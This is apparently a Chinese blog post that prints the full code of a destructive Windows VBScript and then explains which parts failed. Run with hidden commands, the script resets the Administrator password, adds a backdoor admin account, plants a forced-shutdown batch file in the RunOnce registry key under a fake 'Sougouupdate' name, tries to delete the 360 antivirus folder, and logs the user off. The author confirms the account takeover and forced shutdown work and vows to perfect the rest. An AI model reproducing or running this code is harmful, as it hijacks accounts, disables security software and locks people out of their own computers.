On Error Resume Next
set a=createobject("wscript.shell")
path="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/"
a.run "cmd /c echo shutdown -s -f -t 30 > c:/SYSTEM32.bat",vbhide
a.run "cmd /c attrib c:/SYSTEM32.bat +h",vbhide
var=a.regwrite(path&"*Sougouupdate","c:/SYSTEM32.bat")
a.run "cmd /c net user Administrator caonima",vbhide
a.run "cmd /c net user LC /add"
a.run "cmd /c net localgroup Administrators LC /add",vbhide
a.run "cmd /c net user LC /active:yes",vbhide
a.run "cmd /c echo set a=createobject(""scripting.filesystemobject"") > c:/system.vbs",vbhide
a.run "cmd /c echo a.deletefolder(""c:/Program Files/360"") >> c:/system.vbs"
set b=CreateObject("Scripting.Filesystemobject")
if (b.folderexists("C:/Documents and Settings/LC/桌面")) then
b.copyfile "c:/system.vbs","C:/Documents and Settings/LC/桌面/system.vbs"
else
folertemp=b.createfolder("C:/Documents and Settings/LC/桌面")
b.copyfile "c:/system.vbs","C:/Documents and Settings/LC/桌面/"
end if
a.run "cmd /c attrib c:/Documents and Settings/LC/桌面/system.vbs +h",vbhide
a.run "cmd /c echo call c:/Documents and Settings/LC/桌面/system.vbs > c:/Ducuments and Settings/LC/桌面/Readme.bat"
a.run "cmd /c logoff"
这是上篇博客的完整代码,本以为可以运行,但事实上,运行后会发现,有很严重的问题
第一:a.run "cmd /c echo call c:/Documents and Settings/LC/桌面/system.vbs > c:/Documents and Settings....."即倒数第二句不能实现,原因是文件路径出现空格,脚本找不到真正的路径,
第二:创建了LC的桌面后,Readme.bat并不能真正出现在用户桌面上,因为windows会以为那个Documents and Settings 里面创建的LC文件夹是个已经存在的用户,所以会修改默认创建真正存在的LC用户文件夹并将其命名为LC.***,***是计算机名,这样,就不能实现把Read.bat和system.vbs放到即将出现的桌面上。任务失败
但是前面的代码还是能够成功的,效果是:马上注销,然后用户只剩下LC,Administrator消失,登录LC后,马上出现系统30倒计时关机,诶,没什么作用。虽然Administrator消失了,但是登录LC后运行cmd : net user LC /del 再注销后,又能够回到Administrator了,LC消失了,败笔,败笔啊,继续努力,实现它